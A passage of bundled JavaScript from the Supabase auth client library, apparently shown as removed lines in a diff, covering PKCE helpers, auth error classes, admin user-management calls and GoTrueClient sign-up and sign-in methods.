crypto.getRandomValues(array); - return Array.from(array, dec2hex).join(""); - } - async function sha2562(randomString) { - const encoder = new TextEncoder(); - const encodedData = encoder.encode(randomString); - const hash3 = await crypto.subtle.digest("SHA-256", encodedData); - const bytes = new Uint8Array(hash3); - return Array.from(bytes).map((c) => String.fromCharCode(c)).join(""); - } - function base64urlencode(str) { - return btoa(str).replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, ""); - } - async function generatePKCEChallenge(verifier) { - const hasCryptoSupport = typeof crypto !== "undefined" && typeof crypto.subtle !== "undefined" && typeof TextEncoder !== "undefined"; - if (!hasCryptoSupport) { - console.warn("WebCrypto API is not supported. Code challenge method will default to use plain instead of sha256."); - return verifier; - } - const hashed = await sha2562(verifier); - return base64urlencode(hashed); - } - async function getCodeChallengeAndMethod(storage, storageKey, isPasswordRecovery = false) { - const codeVerifier = generatePKCEVerifier(); - let storedCodeVerifier = codeVerifier; - if (isPasswordRecovery) { - storedCodeVerifier += "/PASSWORD_RECOVERY"; - } - await setItemAsync(storage, `${storageKey}-code-verifier`, storedCodeVerifier); - const codeChallenge = await generatePKCEChallenge(codeVerifier); - const codeChallengeMethod = codeVerifier === codeChallenge ? "plain" : "s256"; - return [codeChallenge, codeChallengeMethod]; - } - var API_VERSION_REGEX = /^2[0-9]{3}-(0[1-9]|1[0-2])-(0[1-9]|1[0-9]|2[0-9]|3[0-1])$/i; - function parseResponseAPIVersion(response) { - const apiVersion = response.headers.get(API_VERSION_HEADER_NAME); - if (!apiVersion) { - return null; - } - if (!apiVersion.match(API_VERSION_REGEX)) { - return null; - } - try { - const date = /* @__PURE__ */ new Date(`${apiVersion}T00:00:00.0Z`); - return date; - } catch (e) { - return null; - } - } - - // node_modules/@supabase/auth-js/dist/module/lib/errors.js - var AuthError = class extends Error { - constructor(message, status, code) { - super(message); - this.__isAuthError = true; - this.name = "AuthError"; - this.status = status; - this.code = code; - } - }; - function isAuthError(error) { - return typeof error === "object" && error !== null && "__isAuthError" in error; - } - var AuthApiError = class extends AuthError { - constructor(message, status, code) { - super(message, status, code); - this.name = "AuthApiError"; - this.status = status; - this.code = code; - } - }; - function isAuthApiError(error) { - return isAuthError(error) && error.name === "AuthApiError"; - } - var AuthUnknownError = class extends AuthError { - constructor(message, originalError) { - super(message); - this.name = "AuthUnknownError"; - this.originalError = originalError; - } - }; - var CustomAuthError = class extends AuthError { - constructor(message, name, status, code) { - super(message, status, code); - this.name = name; - this.status = status; - } - }; - var AuthSessionMissingError = class extends CustomAuthError { - constructor() { - super("Auth session missing!", "AuthSessionMissingError", 400, void 0); - } - }; - var AuthInvalidTokenResponseError = class extends CustomAuthError { - constructor() { - super("Auth session or user missing", "AuthInvalidTokenResponseError", 500, void 0); - } - }; - var AuthInvalidCredentialsError = class extends CustomAuthError { - constructor(message) { - super(message, "AuthInvalidCredentialsError", 400, void 0); - } - }; - var AuthImplicitGrantRedirectError = class extends CustomAuthError { - constructor(message, details = null) { - super(message, "AuthImplicitGrantRedirectError", 500, void 0); - this.details = null; - this.details = details; - } - toJSON() { - return { - name: this.name, - message: this.message, - status: this.status, - details: this.details - }; - } - }; - var AuthPKCEGrantCodeExchangeError = class extends CustomAuthError { - constructor(message, details = null) { - super(message, "AuthPKCEGrantCodeExchangeError", 500, void 0); - this.details = null; - this.details = details; - } - toJSON() { - return { - name: this.name, - message: this.message, - status: this.status, - details: this.details - }; - } - }; - var AuthRetryableFetchError = class extends CustomAuthError { - constructor(message, status) { - super(message, "AuthRetryableFetchError", status, void 0); - } - }; - function isAuthRetryableFetchError(error) { - return isAuthError(error) && error.name === "AuthRetryableFetchError"; - } - var AuthWeakPasswordError = class extends CustomAuthError { - constructor(message, status, reasons) { - super(message, "AuthWeakPasswordError", status, "weak_password"); - this.reasons = reasons; - } - }; - - // node_modules/@supabase/auth-js/dist/module/lib/fetch.js - var __rest = function(s, e) { - var t = {}; - for (var p in s) - if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) - t[p] = s[p]; - if (s != null && typeof Object.getOwnPropertySymbols === "function") - for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { - if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) - t[p[i]] = s[p[i]]; - } - return t; - }; - var _getErrorMessage2 = (err) => err.msg || err.message || err.error_description || err.error || JSON.stringify(err); - var NETWORK_ERROR_CODES = [502, 503, 504]; - async function handleError2(error) { - var _a; - if (!looksLikeFetchResponse(error)) { - throw new AuthRetryableFetchError(_getErrorMessage2(error), 0); - } - if (NETWORK_ERROR_CODES.includes(error.status)) { - throw new AuthRetryableFetchError(_getErrorMessage2(error), error.status); - } - let data; - try { - data = await error.json(); - } catch (e) { - throw new AuthUnknownError(_getErrorMessage2(e), e); - } - let errorCode = void 0; - const responseAPIVersion = parseResponseAPIVersion(error); - if (responseAPIVersion && responseAPIVersion.getTime() >= API_VERSIONS["2024-01-01"].timestamp && typeof data === "object" && data && typeof data.code === "string") { - errorCode = data.code; - } else if (typeof data === "object" && data && typeof data.error_code === "string") { - errorCode = data.error_code; - } - if (!errorCode) { - if (typeof data === "object" && data && typeof data.weak_password === "object" && data.weak_password && Array.isArray(data.weak_password.reasons) && data.weak_password.reasons.length && data.weak_password.reasons.reduce((a, i) => a && typeof i === "string", true)) { - throw new AuthWeakPasswordError(_getErrorMessage2(data), error.status, data.weak_password.reasons); - } - } else if (errorCode === "weak_password") { - throw new AuthWeakPasswordError(_getErrorMessage2(data), error.status, ((_a = data.weak_password) === null || _a === void 0 ? void 0 : _a.reasons) || []); - } - throw new AuthApiError(_getErrorMessage2(data), error.status || 500, errorCode); - } - var _getRequestParams2 = (method, options, parameters, body) => { - const params = { method, headers: (options === null || options === void 0 ? void 0 : options.headers) || {} }; - if (method === "GET") { - return params; - } - params.headers = Object.assign({ "Content-Type": "application/json;charset=UTF-8" }, options === null || options === void 0 ? void 0 : options.headers); - params.body = JSON.stringify(body); - return Object.assign(Object.assign({}, params), parameters); - }; - async function _request(fetcher, method, url, options) { - var _a; - const headers = Object.assign({}, options === null || options === void 0 ? void 0 : options.headers); - if (!headers[API_VERSION_HEADER_NAME]) { - headers[API_VERSION_HEADER_NAME] = API_VERSIONS["2024-01-01"].name; - } - if (options === null || options === void 0 ? void 0 : options.jwt) { - headers["Authorization"] = `Bearer ${options.jwt}`; - } - const qs = (_a = options === null || options === void 0 ? void 0 : options.query) !== null && _a !== void 0 ? _a : {}; - if (options === null || options === void 0 ? void 0 : options.redirectTo) { - qs["redirect_to"] = options.redirectTo; - } - const queryString = Object.keys(qs).length ? "?" + new URLSearchParams(qs).toString() : ""; - const data = await _handleRequest2(fetcher, method, url + queryString, { - headers, - noResolveJson: options === null || options === void 0 ? void 0 : options.noResolveJson - }, {}, options === null || options === void 0 ? void 0 : options.body); - return (options === null || options === void 0 ? void 0 : options.xform) ? options === null || options === void 0 ? void 0 : options.xform(data) : { data: Object.assign({}, data), error: null }; - } - async function _handleRequest2(fetcher, method, url, options, parameters, body) { - const requestParams = _getRequestParams2(method, options, parameters, body); - let result; - try { - result = await fetcher(url, Object.assign({}, requestParams)); - } catch (e) { - console.error(e); - throw new AuthRetryableFetchError(_getErrorMessage2(e), 0); - } - if (!result.ok) { - await handleError2(result); - } - if (options === null || options === void 0 ? void 0 : options.noResolveJson) { - return result; - } - try { - return await result.json(); - } catch (e) { - await handleError2(e); - } - } - function _sessionResponse(data) { - var _a; - let session = null; - if (hasSession(data)) { - session = Object.assign({}, data); - if (!data.expires_at) { - session.expires_at = expiresAt(data.expires_in); - } - } - const user = (_a = data.user) !== null && _a !== void 0 ? _a : data; - return { data: { session, user }, error: null }; - } - function _sessionResponsePassword(data) { - const response = _sessionResponse(data); - if (!response.error && data.weak_password && typeof data.weak_password === "object" && Array.isArray(data.weak_password.reasons) && data.weak_password.reasons.length && data.weak_password.message && typeof data.weak_password.message === "string" && data.weak_password.reasons.reduce((a, i) => a && typeof i === "string", true)) { - response.data.weak_password = data.weak_password; - } - return response; - } - function _userResponse(data) { - var _a; - const user = (_a = data.user) !== null && _a !== void 0 ? _a : data; - return { data: { user }, error: null }; - } - function _ssoResponse(data) { - return { data, error: null }; - } - function _generateLinkResponse(data) { - const { action_link, email_otp, hashed_token, redirect_to, verification_type } = data, rest = __rest(data, ["action_link", "email_otp", "hashed_token", "redirect_to", "verification_type"]); - const properties = { - action_link, - email_otp, - hashed_token, - redirect_to, - verification_type - }; - const user = Object.assign({}, rest); - return { - data: { - properties, - user - }, - error: null - }; - } - function _noResolveJsonResponse(data) { - return data; - } - function hasSession(data) { - return data.access_token && data.refresh_token && data.expires_in; - } - - // node_modules/@supabase/auth-js/dist/module/GoTrueAdminApi.js - var __rest2 = function(s, e) { - var t = {}; - for (var p in s) - if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) - t[p] = s[p]; - if (s != null && typeof Object.getOwnPropertySymbols === "function") - for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { - if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) - t[p[i]] = s[p[i]]; - } - return t; - }; - var GoTrueAdminApi = class { - constructor({ url = "", headers = {}, fetch: fetch3 }) { - this.url = url; - this.headers = headers; - this.fetch = resolveFetch4(fetch3); - this.mfa = { - listFactors: this._listFactors.bind(this), - deleteFactor: this._deleteFactor.bind(this) - }; - } - /** - * Removes a logged-in session. - * @param jwt A valid, logged-in JWT. - * @param scope The logout sope. - */ - async signOut(jwt, scope = "global") { - try { - await _request(this.fetch, "POST", `${this.url}/logout?scope=${scope}`, { - headers: this.headers, - jwt, - noResolveJson: true - }); - return { data: null, error: null }; - } catch (error) { - if (isAuthError(error)) { - return { data: null, error }; - } - throw error; - } - } - /** - * Sends an invite link to an email address. - * @param email The email address of the user. - * @param options Additional options to be included when inviting. - */ - async inviteUserByEmail(email, options = {}) { - try { - return await _request(this.fetch, "POST", `${this.url}/invite`, { - body: { email, data: options.data }, - headers: this.headers, - redirectTo: options.redirectTo, - xform: _userResponse - }); - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null }, error }; - } - throw error; - } - } - /** - * Generates email links and OTPs to be sent via a custom email provider. - * @param email The user's email. - * @param options.password User password. For signup only. - * @param options.data Optional user metadata. For signup only. - * @param options.redirectTo The redirect url which should be appended to the generated link - */ - async generateLink(params) { - try { - const { options } = params, rest = __rest2(params, ["options"]); - const body = Object.assign(Object.assign({}, rest), options); - if ("newEmail" in rest) { - body.new_email = rest === null || rest === void 0 ? void 0 : rest.newEmail; - delete body["newEmail"]; - } - return await _request(this.fetch, "POST", `${this.url}/admin/generate_link`, { - body, - headers: this.headers, - xform: _generateLinkResponse, - redirectTo: options === null || options === void 0 ? void 0 : options.redirectTo - }); - } catch (error) { - if (isAuthError(error)) { - return { - data: { - properties: null, - user: null - }, - error - }; - } - throw error; - } - } - // User Admin API - /** - * Creates a new user. - * This function should only be called on a server. Never expose your `service_role` key in the browser. - */ - async createUser(attributes) { - try { - return await _request(this.fetch, "POST", `${this.url}/admin/users`, { - body: attributes, - headers: this.headers, - xform: _userResponse - }); - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null }, error }; - } - throw error; - } - } - /** - * Get a list of users. - * - * This function should only be called on a server. Never expose your `service_role` key in the browser. - * @param params An object which supports `page` and `perPage` as numbers, to alter the paginated results. - */ - async listUsers(params) { - var _a, _b, _c, _d, _e, _f, _g; - try { - const pagination = { nextPage: null, lastPage: 0, total: 0 }; - const response = await _request(this.fetch, "GET", `${this.url}/admin/users`, { - headers: this.headers, - noResolveJson: true, - query: { - page: (_b = (_a = params === null || params === void 0 ? void 0 : params.page) === null || _a === void 0 ? void 0 : _a.toString()) !== null && _b !== void 0 ? _b : "", - per_page: (_d = (_c = params === null || params === void 0 ? void 0 : params.perPage) === null || _c === void 0 ? void 0 : _c.toString()) !== null && _d !== void 0 ? _d : "" - }, - xform: _noResolveJsonResponse - }); - if (response.error) - throw response.error; - const users = await response.json(); - const total = (_e = response.headers.get("x-total-count")) !== null && _e !== void 0 ? _e : 0; - const links = (_g = (_f = response.headers.get("link")) === null || _f === void 0 ? void 0 : _f.split(",")) !== null && _g !== void 0 ? _g : []; - if (links.length > 0) { - links.forEach((link) => { - const page = parseInt(link.split(";")[0].split("=")[1].substring(0, 1)); - const rel = JSON.parse(link.split(";")[1].split("=")[1]); - pagination[`${rel}Page`] = page; - }); - pagination.total = parseInt(total); - } - return { data: Object.assign(Object.assign({}, users), pagination), error: null }; - } catch (error) { - if (isAuthError(error)) { - return { data: { users: [] }, error }; - } - throw error; - } - } - /** - * Get user by id. - * - * @param uid The user's unique identifier - * - * This function should only be called on a server. Never expose your `service_role` key in the browser. - */ - async getUserById(uid) { - try { - return await _request(this.fetch, "GET", `${this.url}/admin/users/${uid}`, { - headers: this.headers, - xform: _userResponse - }); - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null }, error }; - } - throw error; - } - } - /** - * Updates the user data. - * - * @param attributes The data you want to update. - * - * This function should only be called on a server. Never expose your `service_role` key in the browser. - */ - async updateUserById(uid, attributes) { - try { - return await _request(this.fetch, "PUT", `${this.url}/admin/users/${uid}`, { - body: attributes, - headers: this.headers, - xform: _userResponse - }); - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null }, error }; - } - throw error; - } - } - /** - * Delete a user. Requires a `service_role` key. - * - * @param id The user id you want to remove. - * @param shouldSoftDelete If true, then the user will be soft-deleted (setting `deleted_at` to the current timestamp and disabling their account while preserving their data) from the auth schema. - * Defaults to false for backward compatibility. - * - * This function should only be called on a server. Never expose your `service_role` key in the browser. - */ - async deleteUser(id3, shouldSoftDelete = false) { - try { - return await _request(this.fetch, "DELETE", `${this.url}/admin/users/${id3}`, { - headers: this.headers, - body: { - should_soft_delete: shouldSoftDelete - }, - xform: _userResponse - }); - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null }, error }; - } - throw error; - } - } - async _listFactors(params) { - try { - const { data, error } = await _request(this.fetch, "GET", `${this.url}/admin/users/${params.userId}/factors`, { - headers: this.headers, - xform: (factors) => { - return { data: { factors }, error: null }; - } - }); - return { data, error }; - } catch (error) { - if (isAuthError(error)) { - return { data: null, error }; - } - throw error; - } - } - async _deleteFactor(params) { - try { - const data = await _request(this.fetch, "DELETE", `${this.url}/admin/users/${params.userId}/factors/${params.id}`, { - headers: this.headers - }); - return { data, error: null }; - } catch (error) { - if (isAuthError(error)) { - return { data: null, error }; - } - throw error; - } - } - }; - - // node_modules/@supabase/auth-js/dist/module/lib/local-storage.js - var localStorageAdapter = { - getItem: (key3) => { - if (!supportsLocalStorage()) { - return null; - } - return globalThis.localStorage.getItem(key3); - }, - setItem: (key3, value) => { - if (!supportsLocalStorage()) { - return; - } - globalThis.localStorage.setItem(key3, value); - }, - removeItem: (key3) => { - if (!supportsLocalStorage()) { - return; - } - globalThis.localStorage.removeItem(key3); - } - }; - function memoryLocalStorageAdapter(store = {}) { - return { - getItem: (key3) => { - return store[key3] || null; - }, - setItem: (key3, value) => { - store[key3] = value; - }, - removeItem: (key3) => { - delete store[key3]; - } - }; - } - - // node_modules/@supabase/auth-js/dist/module/lib/polyfills.js - function polyfillGlobalThis() { - if (typeof globalThis === "object") - return; - try { - Object.defineProperty(Object.prototype, "__magic__", { - get: function() { - return this; - }, - configurable: true - }); - __magic__.globalThis = __magic__; - delete Object.prototype.__magic__; - } catch (e) { - if (typeof self !== "undefined") { - self.globalThis = self; - } - } - } - - // node_modules/@supabase/auth-js/dist/module/lib/locks.js - var internals = { - /** - * @experimental - */ - debug: !!(globalThis && supportsLocalStorage() && globalThis.localStorage && globalThis.localStorage.getItem("supabase.gotrue-js.locks.debug") === "true") - }; - var LockAcquireTimeoutError = class extends Error { - constructor(message) { - super(message); - this.isAcquireTimeout = true; - } - }; - var NavigatorLockAcquireTimeoutError = class extends LockAcquireTimeoutError { - }; - async function navigatorLock(name, acquireTimeout, fn) { - if (internals.debug) { - console.log("@supabase/gotrue-js: navigatorLock: acquire lock", name, acquireTimeout); - } - const abortController = new globalThis.AbortController(); - if (acquireTimeout > 0) { - setTimeout(() => { - abortController.abort(); - if (internals.debug) { - console.log("@supabase/gotrue-js: navigatorLock acquire timed out", name); - } - }, acquireTimeout); - } - return await globalThis.navigator.locks.request(name, acquireTimeout === 0 ? { - mode: "exclusive", - ifAvailable: true - } : { - mode: "exclusive", - signal: abortController.signal - }, async (lock) => { - if (lock) { - if (internals.debug) { - console.log("@supabase/gotrue-js: navigatorLock: acquired", name, lock.name); - } - try { - return await fn(); - } finally { - if (internals.debug) { - console.log("@supabase/gotrue-js: navigatorLock: released", name, lock.name); - } - } - } else { - if (acquireTimeout === 0) { - if (internals.debug) { - console.log("@supabase/gotrue-js: navigatorLock: not immediately available", name); - } - throw new NavigatorLockAcquireTimeoutError(`Acquiring an exclusive Navigator LockManager lock "${name}" immediately failed`); - } else { - if (internals.debug) { - try { - const result = await globalThis.navigator.locks.query(); - console.log("@supabase/gotrue-js: Navigator LockManager state", JSON.stringify(result, null, " ")); - } catch (e) { - console.warn("@supabase/gotrue-js: Error when querying Navigator LockManager state", e); - } - } - console.warn("@supabase/gotrue-js: Navigator LockManager returned a null lock when using #request without ifAvailable set to true, it appears this browser is not following the LockManager spec https://developer.mozilla.org/en-US/docs/Web/API/LockManager/request"); - return await fn(); - } - } - }); - } - - // node_modules/@supabase/auth-js/dist/module/GoTrueClient.js - polyfillGlobalThis(); - var DEFAULT_OPTIONS = { - url: GOTRUE_URL, - storageKey: STORAGE_KEY, - autoRefreshToken: true, - persistSession: true, - detectSessionInUrl: true, - headers: DEFAULT_HEADERS4, - flowType: "implicit", - debug: false, - hasCustomAuthorizationHeader: false - }; - var AUTO_REFRESH_TICK_DURATION = 30 * 1e3; - var AUTO_REFRESH_TICK_THRESHOLD = 3; - async function lockNoOp(name, acquireTimeout, fn) { - return await fn(); - } - var GoTrueClient = class _GoTrueClient { - /** - * Create a new client for use in the browser. - */ - constructor(options) { - var _a, _b; - this.memoryStorage = null; - this.stateChangeEmitters = /* @__PURE__ */ new Map(); - this.autoRefreshTicker = null; - this.visibilityChangedCallback = null; - this.refreshingDeferred = null; - this.initializePromise = null; - this.detectSessionInUrl = true; - this.hasCustomAuthorizationHeader = false; - this.suppressGetSessionWarning = false; - this.lockAcquired = false; - this.pendingInLock = []; - this.broadcastChannel = null; - this.logger = console.log; - this.instanceID = _GoTrueClient.nextInstanceID; - _GoTrueClient.nextInstanceID += 1; - if (this.instanceID > 0 && isBrowser()) { - console.warn("Multiple GoTrueClient instances detected in the same browser context. It is not an error, but this should be avoided as it may produce undefined behavior when used concurrently under the same storage key."); - } - const settings = Object.assign(Object.assign({}, DEFAULT_OPTIONS), options); - this.logDebugMessages = !!settings.debug; - if (typeof settings.debug === "function") { - this.logger = settings.debug; - } - this.persistSession = settings.persistSession; - this.storageKey = settings.storageKey; - this.autoRefreshToken = settings.autoRefreshToken; - this.admin = new GoTrueAdminApi({ - url: settings.url, - headers: settings.headers, - fetch: settings.fetch - }); - this.url = settings.url; - this.headers = settings.headers; - this.fetch = resolveFetch4(settings.fetch); - this.lock = settings.lock || lockNoOp; - this.detectSessionInUrl = settings.detectSessionInUrl; - this.flowType = settings.flowType; - this.hasCustomAuthorizationHeader = settings.hasCustomAuthorizationHeader; - if (settings.lock) { - this.lock = settings.lock; - } else if (isBrowser() && ((_a = globalThis === null || globalThis === void 0 ? void 0 : globalThis.navigator) === null || _a === void 0 ? void 0 : _a.locks)) { - this.lock = navigatorLock; - } else { - this.lock = lockNoOp; - } - this.mfa = { - verify: this._verify.bind(this), - enroll: this._enroll.bind(this), - unenroll: this._unenroll.bind(this), - challenge: this._challenge.bind(this), - listFactors: this._listFactors.bind(this), - challengeAndVerify: this._challengeAndVerify.bind(this), - getAuthenticatorAssuranceLevel: this._getAuthenticatorAssuranceLevel.bind(this) - }; - if (this.persistSession) { - if (settings.storage) { - this.storage = settings.storage; - } else { - if (supportsLocalStorage()) { - this.storage = localStorageAdapter; - } else { - this.memoryStorage = {}; - this.storage = memoryLocalStorageAdapter(this.memoryStorage); - } - } - } else { - this.memoryStorage = {}; - this.storage = memoryLocalStorageAdapter(this.memoryStorage); - } - if (isBrowser() && globalThis.BroadcastChannel && this.persistSession && this.storageKey) { - try { - this.broadcastChannel = new globalThis.BroadcastChannel(this.storageKey); - } catch (e) { - console.error("Failed to create a new BroadcastChannel, multi-tab state changes will not be available", e); - } - (_b = this.broadcastChannel) === null || _b === void 0 ? void 0 : _b.addEventListener("message", async (event) => { - this._debug("received broadcast notification from other tab or client", event); - await this._notifyAllSubscribers(event.data.event, event.data.session, false); - }); - } - this.initialize(); - } - _debug(...args) { - if (this.logDebugMessages) { - this.logger(`GoTrueClient@${this.instanceID} (${version20}) ${(/* @__PURE__ */ new Date()).toISOString()}`, ...args); - } - return this; - } - /** - * Initializes the client session either from the url or from storage. - * This method is automatically called when instantiating the client, but should also be called - * manually when checking for an error from an auth redirect (oauth, magiclink, password recovery, etc). - */ - async initialize() { - if (this.initializePromise) { - return await this.initializePromise; - } - this.initializePromise = (async () => { - return await this._acquireLock(-1, async () => { - return await this._initialize(); - }); - })(); - return await this.initializePromise; - } - /** - * IMPORTANT: - * 1. Never throw in this method, as it is called from the constructor - * 2. Never return a session from this method as it would be cached over - * the whole lifetime of the client - */ - async _initialize() { - try { - const isPKCEFlow = isBrowser() ? await this._isPKCEFlow() : false; - this._debug("#_initialize()", "begin", "is PKCE flow", isPKCEFlow); - if (isPKCEFlow || this.detectSessionInUrl && this._isImplicitGrantFlow()) { - const { data, error } = await this._getSessionFromURL(isPKCEFlow); - if (error) { - this._debug("#_initialize()", "error detecting session from URL", error); - if ((error === null || error === void 0 ? void 0 : error.message) === "Identity is already linked" || (error === null || error === void 0 ? void 0 : error.message) === "Identity is already linked to another user") { - return { error }; - } - await this._removeSession(); - return { error }; - } - const { session, redirectType } = data; - this._debug("#_initialize()", "detected session in URL", session, "redirect type", redirectType); - await this._saveSession(session); - setTimeout(async () => { - if (redirectType === "recovery") { - await this._notifyAllSubscribers("PASSWORD_RECOVERY", session); - } else { - await this._notifyAllSubscribers("SIGNED_IN", session); - } - }, 0); - return { error: null }; - } - await this._recoverAndRefresh(); - return { error: null }; - } catch (error) { - if (isAuthError(error)) { - return { error }; - } - return { - error: new AuthUnknownError("Unexpected error during initialization", error) - }; - } finally { - await this._handleVisibilityChange(); - this._debug("#_initialize()", "end"); - } - } - /** - * Creates a new anonymous user. - * - * @returns A session where the is_anonymous claim in the access token JWT set to true - */ - async signInAnonymously(credentials) { - var _a, _b, _c; - try { - const res = await _request(this.fetch, "POST", `${this.url}/signup`, { - headers: this.headers, - body: { - data: (_b = (_a = credentials === null || credentials === void 0 ? void 0 : credentials.options) === null || _a === void 0 ? void 0 : _a.data) !== null && _b !== void 0 ? _b : {}, - gotrue_meta_security: { captcha_token: (_c = credentials === null || credentials === void 0 ? void 0 : credentials.options) === null || _c === void 0 ? void 0 : _c.captchaToken } - }, - xform: _sessionResponse - }); - const { data, error } = res; - if (error || !data) { - return { data: { user: null, session: null }, error }; - } - const session = data.session; - const user = data.user; - if (data.session) { - await this._saveSession(data.session); - await this._notifyAllSubscribers("SIGNED_IN", session); - } - return { data: { user, session }, error: null }; - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null, session: null }, error }; - } - throw error; - } - } - /** - * Creates a new user. - * - * Be aware that if a user account exists in the system you may get back an - * error message that attempts to hide this information from the user. - * This method has support for PKCE via email signups. The PKCE flow cannot be used when autoconfirm is enabled. - * - * @returns A logged-in session if the server has "autoconfirm" ON - * @returns A user if the server has "autoconfirm" OFF - */ - async signUp(credentials) { - var _a, _b, _c; - try { - let res; - if ("email" in credentials) { - const { email, password, options } = credentials; - let codeChallenge = null; - let codeChallengeMethod = null; - if (this.flowType === "pkce") { - ; - [codeChallenge, codeChallengeMethod] = await getCodeChallengeAndMethod(this.storage, this.storageKey); - } - res = await _request(this.fetch, "POST", `${this.url}/signup`, { - headers: this.headers, - redirectTo: options === null || options === void 0 ? void 0 : options.emailRedirectTo, - body: { - email, - password, - data: (_a = options === null || options === void 0 ? void 0 : options.data) !== null && _a !== void 0 ? _a : {}, - gotrue_meta_security: { captcha_token: options === null || options === void 0 ? void 0 : options.captchaToken }, - code_challenge: codeChallenge, - code_challenge_method: codeChallengeMethod - }, - xform: _sessionResponse - }); - } else if ("phone" in credentials) { - const { phone, password, options } = credentials; - res = await _request(this.fetch, "POST", `${this.url}/signup`, { - headers: this.headers, - body: { - phone, - password, - data: (_b = options === null || options === void 0 ? void 0 : options.data) !== null && _b !== void 0 ? _b : {}, - channel: (_c = options === null || options === void 0 ? void 0 : options.channel) !== null && _c !== void 0 ? _c : "sms", - gotrue_meta_security: { captcha_token: options === null || options === void 0 ? void 0 : options.captchaToken } - }, - xform: _sessionResponse - }); - } else { - throw new AuthInvalidCredentialsError("You must provide either an email or phone number and a password"); - } - const { data, error } = res; - if (error || !data) { - return { data: { user: null, session: null }, error }; - } - const session = data.session; - const user = data.user; - if (data.session) { - await this._saveSession(data.session); - await this._notifyAllSubscribers("SIGNED_IN", session); - } - return { data: { user, session }, error: null }; - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null, session: null }, error }; - } - throw error; - } - } - /** - * Log in an existing user with an email and password or phone and password. - * - * Be aware that you may get back an error message that will not distinguish - * between the cases where the account does not exist or that the - * email/phone and password combination is wrong or that the account can only - * be accessed via social login. - */ - async signInWithPassword(credentials) { - try { - let res; - if ("email" in credentials) { - const { email, password, options } = credentials; - res = await _request(this.fetch, "POST", `${this.url}/token?grant_type=password`, { - headers: this.headers, - body: { - email, - password, - gotrue_meta_security: { captcha_token: options === null || options === void 0 ? void 0 : options.captchaToken } - }, - xform: _sessionResponsePassword - }); - } else if ("phone" in credentials) { - const { phone, password, options } = credentials; - res = await _request(this.fetch, "POST", `${this.url}/token?grant_type=password`, { - headers: this.headers, - body: { - phone, - password, - gotrue_meta_security: { captcha_token: options === null || options === void 0 ? void 0 : options.captchaToken } - }, - xform: _sessionResponsePassword - }); - } else { - throw new AuthInvalidCredentialsError("You must provide either an email or phone number and a password"); - } - const { data, error } = res; - if (error) { - return { data: { user: null, session: null }, error }; - } else if (!data || !data.session || !data.user) { - return { data: { user: null, session: null }, error: new AuthInvalidTokenResponseError() }; - } - if (data.session) { - await this._saveSession(data.session); - await this._notifyAllSubscribers("SIGNED_IN", data.session); - } - return { - data: Object.assign({ user: data.user, session: data.session }, data.weak_password ? { weakPassword: data.weak_password } : null), - error - }; - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null, session: null }, error }; - } - throw error; - } - } - /** - * Log in an existing user via a third-party provider. - * This method supports the PKCE flow. - */ - async signInWithOAuth(credentials) { - var _a, _b, _c, _d; - return await this._handleProviderSignIn(credentials.provider, { - redirectTo: (_a = credentials.options) === null || _a === void 0 ? void 0 : _a.redirectTo, - scopes: (_b = credentials.options) === null || _b === void 0 ? void 0 : _b.scopes, - queryParams: (_c = credentials.options) === null || _c === void 0 ? void 0 : _c.queryParams, - skipBrowserRedirect: (_d = credentials.options) === null || _d === void 0 ? void 0 : _d.skipBrowserRedirect - }); - } - /** - * Log in an existing user by exchanging an Auth Code issued during the PKCE flow. - */ - async exchangeCodeForSession(authCode) { - await this.initializePromise; - return this._acquireLock(-1, async () => { - return this._exchangeCodeForSession(authCode); - }); - } - async _exchangeCodeForSession(authCode) { - const storageItem = await getItemAsync(this.storage, `${this.storageKey}-code-verifier`); - const [codeVerifier, redirectType] = (storageItem !== null && storageItem !== void 0 ? storageItem : "").split("/"); - const { data, error } = await _request(this.fetch, "POST", `${this.url}/token?grant_type=pkce`, { - headers: this.headers, - body: { - auth_code: authCode, - code_verifier: codeVerifier - }, - xform: _sessionResponse - }); - await removeItemAsync(this.storage, `${this.storageKey}-code-verifier`); - if (error) { - return { data: { user: null, session: null, redirectType: null }, error }; - } else if (!data || !data.session || !data.user) { - return { - data: { user: null, session: null, redirectType: null }, - error: new AuthInvalidTokenResponseError() - }; - } - if (data.session) { - await this._saveSession(data.session); - await this._notifyAllSubscribers("SIGNED_IN", data.session); - } - return { data: Object.assign(Object.assign({}, data), { redirectType: redirectType !== null && redirectType !== void 0 ? redirectType : null }), error }; - } - /** - * Allows signing in with an OIDC ID token. The authentication provider used - * should be enabled and configured. - */ - async signInWithIdToken(credentials) { - try { - const { options, provider, token, access_token, nonce } = credentials; - const res = await _request(this.fetch, "POST", `${this.url}/token?grant_type=id_token`, { - headers: this.headers, - body: { - provider, - id_token: token, - access_token, - nonce, - gotrue_meta_security: { captcha_token: options === null || options === void 0 ? void 0 : options.captchaToken } - }, - xform: _sessionResponse - }); - const { data, error } = res; - if (error) { - return { data: { user: null, session: null }, error }; - } else if (!data || !data.session || !data.user) { - return { - data: { user: null, session: null }, - error: new AuthInvalidTokenResponseError() - }; - } - if (data.session) { - await this._saveSession(data.session); - await this._notifyAllSubscribers("SIGNED_IN", data.session); - } - return { data, error }; - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null, session: null }, error }; - } - throw error; - } - } - /** - * Log in a user using magiclink or a one-time password (OTP). - * - * If the `{{ .ConfirmationURL }}` variable is specified in the email template, a magiclink will be sent. - * If the `{{ .Token }}` variable is specified in the email template, an OTP will be sent. - * If you're using phone sign-ins, only an OTP will be sent. You won't be able to send a magiclink for phone sign-ins. - * - * Be aware that you may get back an error message that will not distinguish - * between the cases where the account does not exist or, that the account - * can only be accessed via social login. - * - * Do note that you will need to configure a Whatsapp sender on Twilio - * if you are using phone sign in with the 'whatsapp' channel. The whatsapp - * channel is not supported on other providers - * at this 